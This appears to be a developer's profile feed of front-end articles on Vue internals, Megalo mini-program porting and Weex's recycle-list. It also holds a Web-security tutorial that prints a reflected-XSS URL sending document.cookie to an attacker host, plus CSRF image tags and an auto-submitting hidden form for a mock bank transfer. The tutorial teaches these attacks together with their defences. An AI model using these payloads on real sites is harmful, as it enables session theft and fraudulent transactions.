zwwill_木羽

zwwill_木羽 查看完整档案

杭州编辑南京大学  |  搬砖 编辑NetEase  |  FE 编辑 www.zwwill.com 编辑
编辑

 ______       __       _______     __ 
/__  / |     / /|     / /  _/ /   / / 
  / /| | /| / / | /| / // // /   / / 
 / /_| |/ |/ /| |/ |/ // // /___/ /____
/____/__/|__/ |__/|__/__/______/______/

个人动态

zwwill_木羽 赞了文章 · 2019-08-05

看一下从 new Vue()开始到页面看到真实dom都经历了什么?

从 new Vue()开始看vue运行流程

本篇文章不会具体分析很多每个方法内部具体逻辑,只为了研究一下浏览器加载vuejs文件后以及我new Vue后,都调用了哪些方法,这些方法都是做什么的等等。以便对vue的执行流程有个大致了解,方便遇见问题排查是哪个过程出了问题。

用vue这么久我是很好奇从vue是怎么一步步把单文件组件的内容给渲染到空的div下面的,那从main.js入口开始,为了方便理解,我们只保留一个App.vue, main.js文件,路由,vuex,插件等等都不引入,在App.vue里面我们只定义一个data字段,插值绑定一个。

vue版本:2.5.2

先看下main.js,比较简单

import Vue from "vue";
import App from "./App";
Vue.config.productionTip = false;

/* eslint-disable no-new */
new Vue({
  el: "#app",
  render: h => h(App)
});

下面开始分析具体调用了哪些方法

分析过程会忽略一些辅助方法等无关的方法调用...

在new Vue之前也就是会做一些初始化的工作,列举部分重要的代码

/*
initMixin给Vue.prototype添加:
_init函数,
...
*/
initMixin(Vue);
/*
stateMixin给Vue.prototype添加:
$data属性,
$props属性,
$set函数,
$delete函数,
$watch函数,
...
*/
stateMixin(Vue);
/*
eventsMixin给Vue.prototype添加:
$on函数,
$once函数,
$off函数,
$emit函数,
$watch方法,
...
*/
eventsMixin(Vue);
/*
lifecycleMixin给Vue.prototype添加:
_update方法:私有方法,用于更新dom,其中调用_patch产生跟新后的dom,
$forceUpdate函数,
$destroy函数,
...
*/
lifecycleMixin(Vue);
/*
renderMixin给Vue.prototype添加:
$nextTick函数,
_render函数,
...
*/
renderMixin(Vue);

至此,部分常见的我们经常看到的初始化工作已经做完,现在我们知道我们在vm上用的$开头的方法都是在一加载vue.js完成后就挂在了Vue.prototype,我们的vm实例就可以用这些方法了。
下面当我们正式开始new Vue()

//调用this._init()
new Vue(options);
/*
this._init函数
依次调用了跟vm相关的初始化函数:
initLifecycle:给vm挂在一下属性
  $parent:undefined,
  $root:vm,
  $children:[],
  $refs:{},
  _isMounted:false,
  _isDestoryed:false,
  _watcher:null,
  ...
initEvents:初始化事件.

initRender:主要做了一下事情:
  给vm添加_c函数和$createElement,其实是createElement别名, 
  给vm添加$attrs和$listeners属性,$attrs & $listeners are exposed for easier HOC creation

callHook(vm, 'beforeCreate'):此时我们看到触发了beforeCreate钩子,此时的vm有哪些属性应该一目了然了.

initInjections(vm): resolve injections before data/props,我们可以看到在初始化inject时还没有data和props

initState:主要进行初始化:
  data:initData(vm),
  props:initProps(vm,opt.props)
  computed:initComputed(vm,opt.computed),
  methods:initMethods(vm,opt.methods),
  watch:initWatch(vm,opt.watch)

initProvide:resolve provide,根据源码注释我们可以知道,在provide中可以使用props和data

callHook(vm, 'created'):此时生命周期created触发,我们能访问data,prop,provide等等
下面最后一步至关重要:
 if (vm.$options.el) {
      vm.$mount(vm.$options.el);
    }
这里是判断我们是否传入了el,属性,传入了则调用$mount方法挂载内容到el所在节点下
*/
 this._init(options)
//在执行完 this._init() 后进入了最最重要的一步,挂载组件
//程序接着往下走回执行:mountComponent
/*
  函数 mountComponent 主要做了下面这些事情:
  触发 beforeMount() 钩子函数,
  声明 updateComponent 函数,里面调用了 vm_update(vm._render(),...),这两个方法作用下面执行到的时候说一下.
  new Watcher(),此时会传入updateComponent函数,并随后执行此函数,执行后会发生一些函数执行,我只列举比较重要的大流程函数:
  Vue._render:执行由vue-loader生成的render函数或者自己写的render函数,最终返回一个由createComponent(非createPatchFunction内部的)产生的vnode.
  createComponent(非createPatchFunction内部):创建组件虚拟节点,此函数返回一个vnode,表示vue组件的vnode.
  vm._update:接收上面的vnode参数,这里面会触发VM.__patch__函数,这个函数里面最终返回的结果就是我们在html页面写的空的div,但是里面有了真实的内容,此时页面可以看到内容了,
  触发 mount() 钩子函数,这个mount钩子每个组件实例会在自己的insert hook中调用

*/
mountComponent()

到了这里,函数moutComponent执行完毕并且返回了vm,
this._init()执行完我们在页面就可以看到内容了

总结

我们可以大致总结一下从new Vue开始都大致执行了哪些重要的方法

1.new Vue();
2.Vue.prototype._init();
3.Vue.prototype.$mount();
4.mountComponent();
5.new Watcher();
6.Watcher.prototype.get();
7.updateComponent();
8.Vue.prototype._render();
9.render();
10.createElement()
11.Vue.prototype._update();//这里面会执行vm.$el=vm.__patch__(),最终根vm的$el就有了真实dom值
12.Vue.prototype.__patch__();//这个应该是最重要的方法了,他返回了真实的dom节点。

vm.__patch__中会产生一个属于App.vue这个虚拟节点的实例,然后再次调用该实例的_init()方法,然后依次执行步骤2到12,继而完成app组件的挂载,最终new Vue出来的vm的$el,就是所有的真实dom。

在开始研究时在浏览器一步步调试看执行的过程,在谷歌的调试工具中借助这个call Stack

图片描述

很方便查看运行过程都调用了哪些函数,在程序运行vm.__patch__后里面涉及到了这俩函数 createElm,createChilren互相调用的逻辑,然后由于在这之前又调用了几十个函数,导致调试到最后按F10电脑要卡顿好久才能进入下一步,我们看到页面可能是一瞬间的事情,但是vue帮我们做了很多事情,很感谢vue这么优秀的框架。

最后希望大家也去自己尝试下调试下源码,你会有新的发现!

查看原文

赞 11 收藏 9 评论 0

zwwill_木羽 发布了文章 · 2018-11-13

vue 项目快速输出微信、支付宝、百度小程序

上周,Megalo@0.2.0 正式发布,优化了数据更新性能的同时,支持了百度智能小程序,着实激动了一把,这“可能”是目前社区里第一个同时支持三端小程序的 vue 小程序框架。下面我们就来试试他的效果。

跟着文档走

官方文档的第一部分就是快速入门,顺藤摸瓜,构建一个 megalo 项目。

安装

$ npm install -g @megalo/cli

<img data-original="https://user-images.githubuse...; width=500/>

构建

$ megalo megalo-yanxuan-demo

<img data-original="https://user-images.githubuse...; width=500/>

打包

以微信小程序为入口

$ npm run dev:wechat

至此一个完整的 megalo 项目就构建好了,接下来我们开始转移源码

转移 weex 项目

我从以前 weex 的 demo 项目,yanxuan-weex-demo,为基础进行转移,转移过程中涉及到很多 weex 特有的 api 的移除和转换。

网络请求

以网络请求为例,weex 是使用的 stream

let stream = weex.requireModule('stream');
export default {
    methods: {
        GET (api, callback) {
            return stream.fetch({
                method: 'GET',
                type: 'json',
                url: api
            }, callback)
        }
    }
}

因为小程序都有提供网络请求的 API,所以此处对此进行改造,如下

export default {
    methods: {
        GET (api, callback) {
            let { platform } = this.$mp || {},
                request = ()=>{}
            switch(platform) {
                case 'wechat':
                    request = wx && wx.request
                break;
                case 'alipay':
                    request = my && my.httpRequest
                break;
                case 'swan':
                    request = swan && swan.request
                break;
                default:
                break;
            }
            request && request({
                url: api,
                success: callback
            })
        }
    }
}

类似的还有 toast、message 等组件的改造。

组件

由于 weex 中的 <recycle-list><loading><refresh><scroller>等组件在小程序组件内是不存在的,所以有三种解决方案

  1. 自定义一个同名 vue 组件
  2. 找小程序可用的组件替换
  3. 实在不行就砍掉需求吧

比如 weex 的 <slider> 组件,可以用小程序的 <swiper> 替换,好在微信、支付宝和百度小程序都有支持。

css

Weex 容器默认的宽度 (viewport) 是 750px,小程序以 750rpx 为基。所以直接将需要的 px 转换成 rpx。

另外自己实现了 1 像素的 wpx,替换成 px 即可。

执行三端效果

最后看下改造效果。同时执行三端

gif

效果比预想的要好,没有过多的适配出错

demo 源码抛给大家供大家把玩。

哪些可以转

只要现有工程没有做以下几件事,理论上,都是可以转移的,只需要稍微更新一下格式

  • 使用 megalo 暂不支持的 vue 特性
  • 涉及浏览器特有的 dom 操作,window、userAgent、location、getElementById 等
  • 使用第三方组件库且该组件库使用了 dom 操作
  • 使用了 vue-router,暂不支持
  • 全局使用 vuex

不过,方案都是可以调整的,以上功能在社区均可以找到替代方案。

换之即可。

参考

《Megalo 官方文档》
《megalo -- 网易考拉小程序解决方案》
《Megalo github》


首发:zwwill/blog#29
作者:木羽
转载请标明出处
查看原文

赞 28 收藏 22 评论 1

zwwill_木羽 评论了文章 · 2018-09-08

Web安全的三个攻防姿势

关于Web安全的问题,是一个老生常谈的问题,作为离用户最近的一层,我们大前端确实需要把手伸的更远一点。

我们最常见的Web安全攻击有以下几种

  1. XSS 跨站脚本攻击

  2. CSRF 跨站请求伪造

  3. clickjacking 点击劫持/UI-覆盖攻击

下面我们来一一分析

XSS 跨站脚本攻击

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

分类

  1. Reflected XSS(基于反射的XSS攻击)

  2. Stored XSS(基于存储的XSS攻击)

  3. DOM-based or local XSS(基于DOM或本地的XSS攻击)

Reflected XSS(基于反射的XSS攻击)

主要通过利用系统反馈行为漏洞,并欺骗用户主动触发,从而发起Web攻击。
举个栗子:

1- 假设,在严选网站搜索商品,当搜索不到时站点会做“xxx未上架提示”。如下图。

2- 在搜索框搜索内容,填入“<script>alert('xss')</script>”, 点击搜索。

3- 当前端页面没有对填入的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。

(当然上图是模拟的)

以上3步只是“自娱自乐”,XSS最关键的是第四步。

4- 进而可以构造获取用户cookies的地址,通过QQ群或者垃圾邮件,来让其他人点击这个地址:

http://you.163.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

5- 如果受骗的用户刚好已经登录过严选网站,那么,用户的登录cookie信息就已经发到了攻击者的服务器(xss.com)了。当然,攻击者会做一些更过分的操作。

Stored XSS(基于存储的XSS攻击)

Stored XSS和Reflected XSS的差别就在于,具有攻击性的脚本被保存到了服务器并且可以被普通用户完整的从服务的取得并执行,从而获得了在网络上传播的能力。

再举个栗子:
1- 发一篇文章,里面包含了恶意脚本

你好!当你看到这段文字时,你的信息已经不安全了!<script>alert('xss')</script>

2- 后端没有对文章进行过滤,直接保存文章内容到数据库。

3- 当其他读者看这篇文章的时候,包含的恶意脚本就会执行。

tips:文章是保存整个HTML内容的,前端显示时候也不做过滤,就极可能出现这种情况。
此为题多从在于博客网站。

如果我们的操作不仅仅是弹出一个信息,而且删除一篇文章,发一篇反动的文章,或者成为我的粉丝并且将这篇带有恶意脚本的文章转发,这样是不是就具有了攻击性。

DOM-based or local XSS(基于DOM或本地的XSS攻击)

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

可能触发DOM型XSS的属性:
document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性
······

总结

XSS攻击的本质就是,利用一切手段在目标用户的浏览器中执行攻击脚本。

防范

对于一切用户的输入、输出、客户端的输出内容视为不可信,在数据添加到DOM或者执行了DOM API的时候,我们需要对内容进行HtmlEncode或JavaScriptEncode,以预防XSS攻击。

CSRF 跨站请求伪造

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。但往往同XSS一同作案!

此下的详解部分转自hyddd的博文http://www.cnblogs.com/hyddd/...,示例写的很赞就部分誊抄至此,并做了一定的修改,向作者hyddd致敬&致谢。

CSRF可以做什么?

你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。

CSRF漏洞现状

CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别爆出CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站),YouTube和百度HI......而现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”。

CSRF的原理

下图简单阐述了CSRF攻击的思想:

从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤:

  1. 登录受信任网站A,并在本地生成Cookie。

  2. 在不登出A的情况下,访问危险网站B。

看到这里,你也许会说:“如果我不满足以上两个条件中的一个,我就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生:
  

  1. 你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。

  2. 你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了......)

  3. 上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。

 

示例

上面大概地讲了一下CSRF攻击的思想,下面我将用几个例子详细说说具体的CSRF攻击,这里我以一个银行转账的操作作为例子(仅仅是例子,真实的银行网站没这么傻:>)

示例1

银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfe...
危险网站B,它里面有一段HTML的代码如下:

<img data-original=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块......

为什么会这样呢?原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源

http://www.mybank.com/Transfer.php?toBankId=11&money=1000

结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作......

示例2

为了杜绝上面的问题,银行决定改用POST请求完成转账操作。
银行网站A的WEB表单如下:

<form action="Transfer.php" method="POST">
    <p>ToBankId: <input type="text" name="toBankId" /></p>
    <p>Money: <input type="text" name="money" /></p>
    <p><input type="submit" value="Transfer" /></p>
</form>

后台处理页面Transfer.php如下:

<?php
    session_start();
    if (isset($_REQUEST['toBankId'] && isset($_REQUEST['money']))
    {
        buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']);
    }
?>

危险网站B,仍然只是包含那句HTML代码:

<img data-original=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

和示例1中的操作一样,你首先登录了银行网站A,然后访问危险网站B,结果.....和示例1一样,你再次没了1000块~T_T,这次事故的原因是:银行后台使用了$_REQUEST去获取请求的数据,而$_REQUEST既可以获取GET请求的数据,也可以获取POST请求的数据,这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中,可以使用$_GET和$_POST分别获取GET请求和POST请求的数据。在JAVA中,用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。

示例3

经过前面2个惨痛的教训,银行决定把获取请求数据的方法也改了,改用$_POST,只获取POST请求的数据,后台处理页面Transfer.php代码如下:

<?php
    session_start();
    if (isset($_POST['toBankId'] && isset($_POST['money']))
    {
        buy_stocks($_POST['toBankId'], $_POST['money']);
    }
  ?>

  然而,危险网站B与时俱进,它改了一下代码:

<html>
  <head>
    <script type="text/javascript">
      function steal()
      {
               iframe = document.frames["steal"];
               iframe.document.Submit("transfer");
      }
    </script>
  </head>

  <body onload="steal()">
    <iframe name="steal" display="none">
      <form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
        <input type="hidden" name="toBankId" value="11">
        <input type="hidden" name="money" value="1000">
      </form>
    </iframe>
  </body>
</html>

如果用户仍是继续上面的操作,很不幸,结果将会是再次不见1000块......因为这里危险网站B暗地里发送了POST请求到银行!
  
总结一下上面3个例子,CSRF主要的攻击模式基本上是以上的3种,其中以第1,2种最为严重,因为触发条件很简单,一个<img>就可以了,而第3种比较麻烦,需要使用JavaScript,所以使用的机会会比前面的少很多,但无论是哪种情况,只要触发了CSRF攻击,后果都有可能很严重。
  
理解上面的3种攻击模式,其实可以看出,CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的!

当前防御 CSRF 的几种策略

在业界目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。下面就分别对这三种策略进行详细介绍。

验证 HTTP Referer 字段

利用HTTP头中的Referer判断请求来源是否合法。

优点:简单易行,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。

缺点:
1、Referer 的值是由浏览器提供的,不可全信,低版本浏览器下Referer存在伪造风险。
2、用户自己可以设置浏览器使其在发送请求时不再提供 Referer时,网站将拒绝合法用户的访问。

在请求地址中添加 token 并验证

在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中,以HTTP请求参数的形式加入一个随机产生的 token交由服务端验证

优点:比检查 Referer 要安全一些,并且不涉及用户隐私。
缺点:对所有请求都添加token比较困难,难以保证 token 本身的安全,依然会被利用获取到token

在 HTTP 头中自定义属性并验证+One-Time Tokens

将token放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 的异步请求交由后端校验,并且一次有效。

优点:统一管理token输入输出,可以保证token的安全性
缺点:有局限性,无法在非异步的请求上实施

点击劫持

点击劫持,英文名clickjacking,也叫UI覆盖攻击,攻击者会利用一个或多个透明或不透明的层来诱骗用户支持点击按钮的操作,而实际的点击确实用户看不到的一个按钮,从而达到在用户不知情的情况下实施攻击。

这种攻击方式的关键在于可以实现页中页的<iframe />标签,并且可以使用css样式表将他不可见

如以上示意图的蓝色层,攻击者会通过一定的手段诱惑用户“在红色层”输入信息,但用户实际上实在蓝色层中,以此做欺骗行为。

拿支付宝做个栗子

上图是支付宝手机话费充值的界面。

再看看一下界面

是的,这个是我伪造的,如果我将真正的充值站点隐藏在此界面上方。我想,聪明的你已经知道clickjacking的危险性了。

上图我估计做了一下错位和降低透明度,是不是很有意思呢?傻傻分不清的用户还以为是领取了奖品,其实是给陌生人充值了话费。

这种方法最常见的攻击场景是伪造一些网站盗取帐号信息,如支付宝、QQ、网易帐号等帐号的账密

目前,clickjacking还算比较冷门,很多安全意识不强的网站还未着手做clickjacking的防范。这是很危险的。

防范

防止点击劫持有两种主要方法:

X-FRAME-OPTIONS

X-FRAME-OPTIONS是微软提出的一个http头,指示浏览器不允许从其他域进行取景,专门用来防御利用iframe嵌套的点击劫持攻击。并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
这个头有三个值:
DENY // 拒绝任何域加载
SAMEORIGIN // 允许同源域下加载
ALLOW-FROM // 可以定义允许frame加载的页面地址

顶层判断

在UI中采用防御性代码,以确保当前帧是最顶层的窗口
方法有多中,如

top != self || top.location != self.location || top.location != location

有关Clickjacking防御的更多信息,请参阅Clickjacking Defense Cheat Sheet.

参考

[1] 浅谈CSRF攻击方式 - http://www.cnblogs.com/hyddd/...
[2] CSRF 攻击的应对之道 - https://www.ibm.com/developer...

查看原文

zwwill_木羽 回答了问题 · 2018-08-22

解决关于weex中使用 vue-router的问题

methods: {
  jump () {
    // router.push('a')
    this.$router.push('a')
  }
}

关注 2 回答 1

zwwill_木羽 回答了问题 · 2018-03-31

weex switch组件不支持v-model,怎么解决啊

可以自己封装。不过官方已经废弃此组件了,建议自己实现自定义组件
https://weex.apache.org/cn/re...

关注 3 回答 2

zwwill_木羽 赞了文章 · 2018-03-16

Weex 的 recycle-list 诞生记

关注 Weex 开发进展的同学,可能会知道 Weex 前段时间发布了 v0.18.0 版本(release note),其中包含了一个叫 <recycle-list> 的组件,它是一个带有回收复用功能的列表容器,据说是有史以来最特别的组件,性能也有大幅提升,开发过程也涉及到很多底层的改造,陆陆续续花了半年才实现了第一个正式的版本。<recycle-list> 的文档也在官网上线了,不过整体看下来好像和普通的 <list> 也差不多,反而多了一大堆莫名其妙的注意事项,一副很敏感又很脆弱的样子,真的有那么好用吗?这篇文章里就好好聊一聊它的特别之处。

为什么要搞个新的列表容器

在如今 App 的开发中,有大部分的页面都是以可滚动列表的形式展现的,尤其是在货架式琳琅满目的活动页面中,更是长列表的主场,而且越来越长,带上“懒加载”和“自动加载更多”以后,其实就是一个可以无限滚动的列表。所以说,列表的性能和体验往往从很大程度上决定了页面的性能和体验,优化了列表的性能就会大幅提高页面的性能。

Weex 目前提供的列表组件 <list> 其实已经是功能很强大的一个组件了,在 Android 上使用的是 RecyclerView 组件,在 iOS 上使用的是 UITableView,本身就具有了操作系统原生提供的回收功能,在节点离屏时可以回收掉部分原生组件持有的内存。和 Web 中的开发技术相比,在 webview 中实现的列表,无论是渲染性能、滚动体验还是内存占用方面,都难以和原生列表相媲美。即便如此,性能也永远是值得优化的,使用 Weex 的开发者对列表性能的追求也是永无止境的。

图片描述

就像大家觉得前端框架引入 Virtual DOM 之后就一定比原生 DOM 慢一样,一些 Weex 的原生开发者也觉得 Weex 提供的列表毕竟多了一层封装,不能精细地操控列表的渲染行为,性能一定不如直接操作原生列表。这也是有一定道理的,如果再仔细分析一下这些需求,到底如何精细操控列表的渲染行为能提升性能呢?有没有办法抽象出通用的逻辑呢?假如说不考虑兼容现有的 list 组件,也允许对框架和现有渲染流程做重构级别的改动,能不能开个脑洞放个大招来提升列表的性能呢?这也是要开发新列表容器的出发点。

有啥不一样

既然名字叫 recycle-list,它与普通 list 的最大差异就在于节点的回收复用能力。

在大部分使用列表的场景中,有很多行节点的结构都是大致相同的,一个列表可能有 500 行那么长,全部展开的话长度会超过 100 屏,但是很可能只用了 5 个不同的模板。如果在渲染这 500 行节点的时候,能不断复用这 5 个模板结构的话,只渲染可视区内的组件的话,肯定能大幅优化列表的渲染性能。

所以在渲染 recycle-list 的时候,会记录不同的模板结构,用数据驱动模板的渲染,首次渲染时只会先创建首屏以及有可能滚动到的安全区域内的节点;在滚动时,会将脱离安全区域内的节点回收,清空模板并灌注新数据追加到即将出现的区域内。这是 recycle-list 在渲染行为上最大的不同。基于这种行为,前端和客户端之间节点的通信数据量将会减少,列表的内存也可以得到大幅的优化,即使列表越来越长,内存的增量也不会很多。

常规列表的渲染过程

首先分析一下目前在 Weex 里常规组件的渲染流程是怎样的。

在 Weex 的架构中,可以简略的分成三层:【DSL】->【JS Framework】->【原生渲染引擎】。其中 DSL (Domain Specific Language) 指的是 Weex 里支持的上层前端框架,即 Vue 和 Rax。原生渲染引擎就是在 Weex 支持的平台上(Android 或 iOS)绘制原生 UI 的引擎。JS Framework 是桥接并适配 DSL 和原生渲染引擎的一层。参考 《详细介绍 Weex 的 JS Framework》

常规组件的渲染过程可以分为如下这几个步骤:

  1. 创建前端组件
  2. 构建 Virtual DOM
  3. 生成“真实” DOM
  4. 发送渲染指令
  5. 绘制原生 UI

以 Vue.js 为例,它在 Weex 里的渲染过程可以用下面这一张图来概括:

图片描述

简而言之,模板是可以被复用的,传入多条数据可以展开成多个前端组件,这也是组件化的优势之一,组件进一步在前端框架中展开成 VNode 节点。JS Framework 里提供了很多类似 DOM API 的接口,在内部构建出适用于 Weex 平台的 Element 节点(和 DOM 很像,但并不是“真实”的 DOM),这些节点会以渲染指令的形式发给客户端。客户端根据渲染指令创建相应的原生组件,最终调用系统提供的接口绘制原生 UI。具体过程请参考:Weex 页面的渲染

改造思路

回顾上述过程可以看出,组件的模板结构是可复用的,这也是组件化的优势之一,但是组件的展开发生在前端框架内部,在传递到客户端的过程中,节点的结构保留了,但是组件的信息都被过滤掉了。即使同一个组件使用两份数据来渲染,生成了两份结构一致只有小部分内容有差异的节点,客户端也不会认为他们之间有联系,依然彼此独立的渲染。也就是说,在常规组件的渲染流程中,客户端感知不到前端组件的概念,渲染粒度太小,难以复用。

借鉴函数式编程里的惰性计算的思路,可以将渲染过程延后,交给客户端执行,这样客户端就能更好的施展复用逻辑。具体来讲就是不把节点在前端渲染好了再把结果发给客户端,而是把“渲染方法”和数据分别发给客户端,避免模板在前端框架中展开,客户端根据数据和用户的操作行为控制模板的渲染和复用。

可复用列表的渲染过程

图片描述

如上图所示,前端框架中的 Template 不再需要数据,而是直接展开成一种纯静态的模板结构,结构中包含了模板渲染逻辑,格式仍然是 VNode。然后经过 JS Framework 转换成 Weex 支持的 Element,其中也包含了模板的原生渲染指令。客户端解析出可复用的模板结构,由数据驱动模板渲染,这个模板结构和前端组件中的定义是一致的。

这个过程除了要把模板发给客户端,还得带上模板的渲染逻辑,告诉客户端如何根据数据来渲染模板。为了描述这些渲染逻辑,就得设计一套面向原生渲染引擎的模板渲染指令,用来声明节点的循环渲染、条件渲染、事件绑定等逻辑。下文有详解。

性能对比

上述改造过程如果能实现的话,从理论上上讲,内存和渲染性能必然会有提升,而且列表越长性能优势越明显。下面也从实际的数据中看一下性能的对比结果到底是怎样的。

目前 Weex 提供了 <scroller><list> 、 和 <recycle-list> 这三种可滚动容器,功能看起来差不多,但是能力和特征都有差异。为了方便比较性能,我们对同样的一个页面,分别使用了不同的列表容器来实现,并记录了在 iOS 和 Android 下页面的加载时间、进入页面时的内存、滑动到页面底部时的内存、滑动时CPU的使用量等数据。

使用的测试用例如下:

在 iOS 设备(iPhone 6, iOS 11.0)中的测试结果如下所示:

图片描述

在 Android 设备(Honor 6x, Android 7.0)中的测试结果如下所示:

图片描述

从上面的数据可以看出,<list> 相比 <scroller> 已经有了较大的性能提升,<recycle-list><list> 的性能表现更加优秀。尤其在内存方面,<recycle-list> 在 iOS 下的内存占用量始终保持在个位数,在 Android 下除此加载时的内存和滑动到底部时的内存也分别优化了 42.7% 和 23.6%。

研发历程

recycle-list 不仅特别,也是开发跨时最久的一个组件了,从最早明确提出 Proposal(2017/08/04)到发布 v0.18.0(2018/02/09)历时长达半年之久。因为它是一个重要但不紧急的功能,在研发期间不断被打断,本身的技术难度由很大,涉及的技术面比较多,整个研发过程也是陆陆续续、磕磕绊绊、边探索边验证。

recycle-list 虽说是一个组件,但是它开辟了一条新的渲染模式,无论是前端框架、JS Framework 还是原生渲染引擎都有重构级别的改造;开发者也是多样的,前端、iOS、Android 都全程参与了。由于这个组件涉及大量对前端框架内部的改造,Vue.js 的原作者尤雨溪(微博 @尤小右) 也深度参与了开发和讨论,尤其在前期讨论实现方案的时候提供了大量思路。这个组件无论是技术方案还是开发协作方式都和以往不同,可以说是相当特别了。

先弄出来 MVP

这个组件虽然开发历时很久,但是在讨论了大致思路以后,几乎在前几天内就做出了一个 MVP (Minimum Viable Product) 版本来验证想法,并且立即对比了渲染性能

为了快速验证想法,先随意约定了一套模板指令,绕过前端框架和 JS Framework 的渲染流程,直接手写 callNative 指令将模板结构和数据发给客户端,客户端也不考虑兼容性和副作用,先实现了渲染和复用的基本逻辑。这个步骤只是用来验证设想的方案是否可行,如果行不通就没必要继续浪费时间。

虽然快速做出了 MVP 版本,看似已经成功一半,但是设计得太过粗糙,很多流程并未想清楚,原有列表的大部分功能都没有实现思路,真正的进度可能连 10% 都不到。

明确技术方案

验证了可行性之后,下一步并没有立即继续写代码,而是静下心来认真再讨论一下详细的技术方案。这个过程邀请了尤雨溪一起参与,从编译工具、上层语法糖到组件生命周期和状态同步等功能,都做过细致的分析和讨论。

最初在讨论的时候,觉得生命周期和有状态的子组件这些功能都是无法实现的,因为组件的私有状态和生命周期是在前端框架里的,然而组件渲染过程又完全交给了客户端来控制,语言都不一样,甚至不在同一个线程里,简直无法再联系起来。不过最终还是设计出了一系列的通信和状态同步机制,将功能做得更完善,下文有详解。

在明确实现细节的过程中,由于没有兼容历史版本的包袱,开发期间可以冷静思考真正合理并且好用的技术方案,不惜多次推翻原有的设计,反复重构代码,最终才能实现“看起来和旧的 list 差不多嘛,无非是用了新的名字多了 for/switch/case 的语法而已”这种效果。

分期实现功能

有了详细的设计以后,前端、iOS、Android 开发者分别独立开发,同时编译工具的用例也在不断的更新,三端都频繁的迭代,渐进式的完善功能。这个项目的前期工作做的比较足,先有的使用文档和实现方案,然后有的测试用例和各种 demo,最后才是写代码实现功能,开发流程还是比较工整的。

目前发布的第一个版本中,基础功能都完备了,但是存在较多注意事项,有些是组件固有的差异,还有些是正在讨论技术方案但还没来得及实现的功能,如支持动态绑定样式类名、双向绑定、filter、组件的自定义事件等。这些功能将在后续版本里逐步实现,虽然它们写出来只有短短几个字,看起来也都是现有组件理所当然就支持的功能,但是在 recycle-list 里可能对应了涉及多端的大范围改造。

实现原理

在前面的章节里介绍了可复用列表的渲染过程,这只是开了个头,想要实现这个效果,至少要涉及编译工具、客户端渲染引擎以及前端框架里的改造。

自定义原生渲染指令

把“渲染方法”发给客户端,说起来简单,这里边包含了循环、条件、使用自定义组件的逻辑,能把它们完备地发给客户端吗?绝大多数渲染逻辑都可以。 要实现这个功能,就得设计一套描述渲染逻辑的原生指令,保障自身的完备性,然后对接上层前端框架中的模板语法,这个对接过程可以交给工具在编译期实现。

